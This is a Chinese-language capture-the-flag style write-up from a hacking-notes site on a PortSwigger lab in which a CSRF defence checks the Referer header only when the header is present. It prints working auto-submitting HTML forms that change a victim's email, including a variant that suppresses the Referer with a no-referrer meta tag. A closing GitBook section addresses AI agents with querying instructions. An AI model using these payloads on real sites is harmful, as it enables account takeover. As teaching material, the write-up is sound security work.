> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# 仅在 Referer 存在时才验证的 CSRF

仅在 Referer 存在时才验证的 CSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### Referer 验证依赖于请求头存在时的 CSRF

此实验中的修改电子邮件功能存在 CSRF 漏洞。服务器尝试通过检查该请求头来阻止跨域请求 **Referer**，但存在一种不安全的回退处理：如果 Referer 请求头缺失，就会接受该请求。

* 推荐账户： `wiener:peter` （使用此账户从受害者的角度重现该场景）。

服务器检查 **Referer** 字段来确定请求来自哪里，并拒绝 Referer 不是本站点的请求。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e90c6a6260d9bd6a01e192327c5f39097eab0e5e%2Fimage%20(376).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

* 通过从攻击服务器发送一个 POST 表单，响应返回： **“无效的 referer 请求头”** ——当该请求头存在且不正确时，检查会生效。

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`“无效的 referer 请求头”`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3de4dcdb15f3ae31f46f4d3611b26d25ee632308%2Fimage%20(377).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ea40a911c69b177e822f3faffdd11ff174ad69d%2Fimage%20(378).png?alt=media" alt=""><figcaption></figcaption></figure>

然而，如果请求到达时 **无需** referer 请求头缺失，服务器就会接受该请求（危险的回退行为）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-674f0b3404c8653055da1aa94cb28e02790c9f72%2Fimage%20(379).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 操作方法（原理）

1. 在攻击服务器上托管一个页面，该页面向以下地址提交一个 POST 表单： `/my-account/change-email` 并使用攻击者的电子邮件。
2. 强制利用页面 **移除** 浏览器的 Referer 请求头，使验证失败并被拦截（因为服务器接受 Referer 缺失的情况）。
3. 让浏览器不要发送 Referer 的一种简单方法是在页面中添加一个 `<meta name="referrer" content="no-referrer">` 标签，然后再提交表单。

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
